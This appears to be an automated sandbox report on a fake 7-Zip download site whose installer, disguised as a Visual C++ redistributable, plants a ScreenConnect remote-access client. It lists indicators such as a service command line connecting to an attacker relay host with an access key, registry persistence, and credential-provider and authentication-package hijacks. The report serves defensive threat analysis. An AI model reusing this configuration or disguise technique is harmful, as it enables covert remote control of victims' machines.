hxxps://7zip[.]app

Analysis

user interaction
yes
max time kernel
149s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/11/2026, 12:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://7zip.app
Sample261102-pm4f8afb34

Score

8^/10

discovery persistence privilege_escalation revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\14.0.24215.1\ImagePath = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2015\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=442.open-fast-ports.com&p=8041&s=c52308ae-3d20-40be-84d9-517bf2df0179&k=BgIAAACkAABSU0ExAAgAAAEAAQAFoyOVG4jIEujtd%2bkxr2WkaqdvykLIoOimoOKAOHyt8b36MTA599BDEMF57Ll3Q2MA51MqfR02lmtjxr8%2fEGhnCejdpI%2fXVGkqsjgC9BCtBg5LuywxyfCyEudOTuSQCdpPju23KbeuH8xk40HkXIa3Fj9E7rLz7ExJZgXudmdtyaYJyKWqirR9UuIw9%2fpGE%2fbSOAWnhkRIJwxtP2dxLEou9fgnYP83rsE1nYzh8jF%2byOMEKn28EP3SQx5zAcsfYue6CYpR4uBLkrJiRn5H1S0jjam07mZ5%2bZMMjPlDqB5RlwcyDGU9mw5xKrrcoDecSXgqRrNtlP55unFvIzO3JlPY&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAaa2H0toWlEGhX8BQkSok9QAAAAACAAAAAAAQZgAAAAEAACAAAABTJ0j%2bKFpw6aPgvTuikT8mhlnsUxul7i6E%2f5TXqFY5mAAAAAAOgAAAAAIAACAAAAB%2bntITYOIeeU9cvrBZM9KHTGtmnPBhsdZo63K60Jn6yKAEAAByqxPzWsZ2BJtJJZ%2fPtf4HkA%2fDZwOdhhckmbYu23o6xsP3MSSfUPEXt5M9WagjtjAneHqO4CcpS28Xd3DcpCkpYFWpC%2beDX4FEbSJNdJM6oLibQ69H1H3hpIXQUjWPQAgc3iK0lThpwGpT1FzCB6gEWzcltrNEap3V5aS%2buy1WWNGFzWlfQ0KSryr%2b3wRav%2by5SKazb8Ysltz5IlzLWgBMYu8oy4L%2fwpv0DPKaKrR0k6ECEN2vkfE30UVlx9Oc1tN60icdSn%2fh7lS7QthKlvXWuCGDSiEdFDCPhZR24bmROoCmHENCZU3trKnUAMYvAuY1b6LJuv5pdBvrh5W4dUgrKexvtY3L%2fNKQXwAzNEv48vCKzpBdIzOe1%2bUk7EoT%2bs4kvji5q92SHy053DRJAG6WJpeTI6b%2fbWizZ3LYL6AfTOdKGxOqkKLzJjjXofVWiYzUbCfOAZzKwgZVOXswZVGM%2f6SeNgG4KXC1GZOYWNZ2qe4AlLnYH%2fxWQA12FeuKozZE4elZ%2bHyXTezAWs3uejK08ONWP%2bJawDzHcNVkQXOJGpefcLmt5%2bObWjc8qQy9zz0nUO3zXSwUuNZchLmob%2fxAYmHkBD%2bZQzVcnibPWTJwAb1AsDfRWT%2bf9fqr3%2b%2bl3HDPXqU7yzPhqnHxwBj4IiADu0vkHSEaF6klNzRGPX9lXlmE2GU2VPSeJnfCpSH90T8KYXonR3qb68cdCAhBqTAzis5N30qEnIkSrAiWxcuD35ryLhj7v0ygNjJXmOPYw4f%2bbOmPU2NuKvhi6FonSLRTOuTioWVydGAh0HvEgwRbP0oVhaBcjObdGs6cQjfUPn4EqzTpobvH%2bIdRAmJhdEf4bePTM%2b0cyXnm0X%2fzYcgmqKe%2bamN%2bsqDZN41%2fHwMnPnaovNCyTl4bafMDF43Zc2DT7VeIQ2LBlM%2b7t8SzZYzTM%2fE5UA%2bblzoBro%2bPMI1R99LxByIUkR7CmJTc%2feHtu59RLkEyMkD1tVYtaPrxBM1Afx9VMHkLEp8h6u1SlPOA4t6fV0PfwvSfwChk5fTEWWaJCBonxHxo5xogVqFX%2f%2fjGhLgUotWXPMGYFZvvTIPzHeMbMVpHHjuTFjQJ33SkV%2fTttnBrI6%2foN6ZnUkYJcZbcZdQFpSYRv0hRaNInTYu1gFSLF7kjdFpNjI0zeD5As4MCuOcne%2bKpiZnFSU70VkEHUGiYQdGPHKawOjosKu0CW6m2irFcVBKF7Oqpb3s3K%2bUlM1aFFsVMho0Pq48PGSRIIO3bcv%2b4bv%2bJ9PZjXoiAaZvvbe0orUgZkViooxKwSOLFUQWHQQMqRo1m0JDTGY7L0jfcEHDA56RUe9iJ7ZtYA5Nicl0R%2bBC%2bJQkTl9djKZcEEbkkxbzqZRvyD0i8bYUinFBZ9Mu3MwVrGwaNcGyhCPeHN7M15BBbPyNTpO2GlIk48b1AwzP6Vl0XfqG9%2fZ1a6dAD5ljg9p4Io0rzHGjtaShlg4euKbF68w6Z%2fy3T1%2bcF%2bsdd%2fYU6dCJA2UXAl5ObUVStEPdrPXKmV%2bBJO7vm9T%2b2CF82VLvrzmtFNWDVYv86NJIWheqCGsN37GSoyJ%2fK%2bUAAAACW839Xlo3UAldCdOwHVZGS6X1nMRDO3ulwgnd2nPsrnaVhjBCJzAcLd6TOaRztTr%2fpFYkLHDG%2bgA%2fmdq%2b7xEFA&c=7z2603-x64\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 6 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/files/0x000300000002391e-357.dat	revoked_cert_connectwise
behavioral1/files/0x0004000000023916-390.dat	revoked_cert_connectwise
behavioral1/memory/4164-391-0x0000000004030000-0x0000000004071000-memory.dmp	revoked_cert_connectwise
behavioral1/memory/4164-393-0x00000000042B0000-0x000000000438C000-memory.dmp	revoked_cert_connectwise
behavioral1/files/0x000300000002391b-392.dat	revoked_cert_connectwise
behavioral1/files/0x0004000000023919-400.dat	revoked_cert_connectwise

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
4164	ScreenConnect.ClientService.exe
4680	ScreenConnect.WindowsClient.exe
1096	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
1416	MsiExec.exe
1152	rundll32.exe
1152	rundll32.exe
1152	rundll32.exe
1152	rundll32.exe
1152	rundll32.exe
1152	rundll32.exe
1152	rundll32.exe
1152	rundll32.exe
1152	rundll32.exe
1416	MsiExec.exe
4376	MsiExec.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c004d006900630072006f0073006f00660074002000560069007300750061006c00200043002b002b00200032003000310035005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft Visual C++ 2015\2nf1tad4.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft Visual C++ 2015\2nf1tad4.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\app.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\system.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsClient.exe	msiexec.exe

Drops file in Windows directory 31 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e599a33.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformSecurityEventTriggerXml.xsl	rundll32.exe
File created	C:\Windows\Installer\{1A6A0F8E-5650-A9D7-44D7-4C8382273C13}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformOverriddenKeys.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformSessionGroupXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIA540.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\wix{1A6A0F8E-5650-A9D7-44D7-4C8382273C13}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformClientOverrideResx.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIA60C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA89D.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformRoleXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformWebConfig.xsl	rundll32.exe
File created	C:\Windows\Installer\SourceHash{1A6A0F8E-5650-A9D7-44D7-4C8382273C13}	msiexec.exe
File created	C:\Windows\Installer\e599a33.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformAppConfigXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformLicenseXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\TransformSessionEventTriggerXml.xsl	rundll32.exe
File created	C:\Windows\Installer\e599a37.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CA4.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\{1A6A0F8E-5650-A9D7-44D7-4C8382273C13}\DefaultIcon	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4168	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe

Modifies registry class 39 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\PackageCode = "E8F0A6A105657D9A447DC4382872C331"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\SourceList\PackageName = "WZ9764.tmp"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-aaa096cba8ad9c15\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E8F0A6A105657D9A447DC4382872C331	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\ProductName = "Microsoft Visual C++ 2015 Redistributable (x64)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\86BE4B1CCB6FE6C7AA0A69BC8ADAC951	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\86BE4B1CCB6FE6C7AA0A69BC8ADAC951\E8F0A6A105657D9A447DC4382872C331	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-aaa096cba8ad9c15	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3D4C-79B2A590ADCA}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-aaa096cba8ad9c15\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3D4C-79B2A590ADCA}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\SourceList	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\ProductIcon = "C:\\Windows\\Installer\\{1A6A0F8E-5650-A9D7-44D7-4C8382273C13}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-aaa096cba8ad9c15\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-aaa096cba8ad9c15	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3D4C-79B2A590ADCA}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\Version = "234905239"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8F0A6A105657D9A447DC4382872C331\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2091445952-3649787497-104050984-1000\{E7F37EF5-3C75-4A87-B086-F21284C94FE6}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-aaa096cba8ad9c15\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-aaa096cba8ad9c15\shell\open\command\ = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2015\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3D4C-79B2A590ADCA}\ = "Microsoft Visual C++ 2015 Redistributable (x64) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E8F0A6A105657D9A447DC4382872C331\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-aaa096cba8ad9c15\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-aaa096cba8ad9c15\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3D4C-79B2A590ADCA}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Visual C++ 2015\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
960	msiexec.exe
960	msiexec.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
4164	ScreenConnect.ClientService.exe
992	msedge.exe
992	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3748	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3748	msiexec.exe
Token: SeSecurityPrivilege	960	msiexec.exe
Token: SeCreateTokenPrivilege	3748	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3748	msiexec.exe
Token: SeLockMemoryPrivilege	3748	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3748	msiexec.exe
Token: SeMachineAccountPrivilege	3748	msiexec.exe
Token: SeTcbPrivilege	3748	msiexec.exe
Token: SeSecurityPrivilege	3748	msiexec.exe
Token: SeTakeOwnershipPrivilege	3748	msiexec.exe
Token: SeLoadDriverPrivilege	3748	msiexec.exe
Token: SeSystemProfilePrivilege	3748	msiexec.exe
Token: SeSystemtimePrivilege	3748	msiexec.exe
Token: SeProfSingleProcessPrivilege	3748	msiexec.exe
Token: SeIncBasePriorityPrivilege	3748	msiexec.exe
Token: SeCreatePagefilePrivilege	3748	msiexec.exe
Token: SeCreatePermanentPrivilege	3748	msiexec.exe
Token: SeBackupPrivilege	3748	msiexec.exe
Token: SeRestorePrivilege	3748	msiexec.exe
Token: SeShutdownPrivilege	3748	msiexec.exe
Token: SeDebugPrivilege	3748	msiexec.exe
Token: SeAuditPrivilege	3748	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3748	msiexec.exe
Token: SeChangeNotifyPrivilege	3748	msiexec.exe
Token: SeRemoteShutdownPrivilege	3748	msiexec.exe
Token: SeUndockPrivilege	3748	msiexec.exe
Token: SeSyncAgentPrivilege	3748	msiexec.exe
Token: SeEnableDelegationPrivilege	3748	msiexec.exe
Token: SeManageVolumePrivilege	3748	msiexec.exe
Token: SeImpersonatePrivilege	3748	msiexec.exe
Token: SeCreateGlobalPrivilege	3748	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeShutdownPrivilege	4376	MsiExec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
